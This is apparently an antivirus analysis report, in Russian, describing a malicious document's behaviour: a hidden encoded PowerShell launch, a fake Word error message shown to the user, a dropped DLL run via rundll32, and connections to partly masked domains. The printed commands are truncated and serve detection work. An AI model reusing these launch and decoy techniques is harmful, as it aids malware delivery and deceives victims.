Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -ENCOD IABTAGUAVAAtAGkAVABFAE0AIAAgAHYAYQBSAGkAQQBiAGwARQA6ADkAZwAzACAAIAAoACAAIABbAFQAWQBQAGUAXQAoACIAewA0AH0AewAxAH0AewAzAH0AewAyAH0AewAwAH0AIgAtAGYAIAAnAFIAWQAnACwA...
Изменения в файловой системе
Создает следующие файлы
- %HOMEPATH%\edgb34u\m7kme7d\eo7kvut.dll
Сетевая активность
TCP
- 'mi#####-missions.com':443
- 'ch###naecu.com':443
- 'bl#####ardrecords.com':443
- '16#.#55.216.36':443
UDP
- DNS ASK mi#####-missions.com
- DNS ASK ch###naecu.com
- DNS ASK bl#####ardrecords.com
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IABTAGUAVAAtAGkAVABFAE0AIAAgAHYAYQBSAGkAQQBiAGwARQA6ADkAZwAzAC...
- '<SYSTEM32>\msg.exe' user /v Word experienced an error trying to open the file.
- '<SYSTEM32>\rundll32.exe' %HOMEPATH%\Edgb34u\M7kme7d\Eo7kvut.dll 0
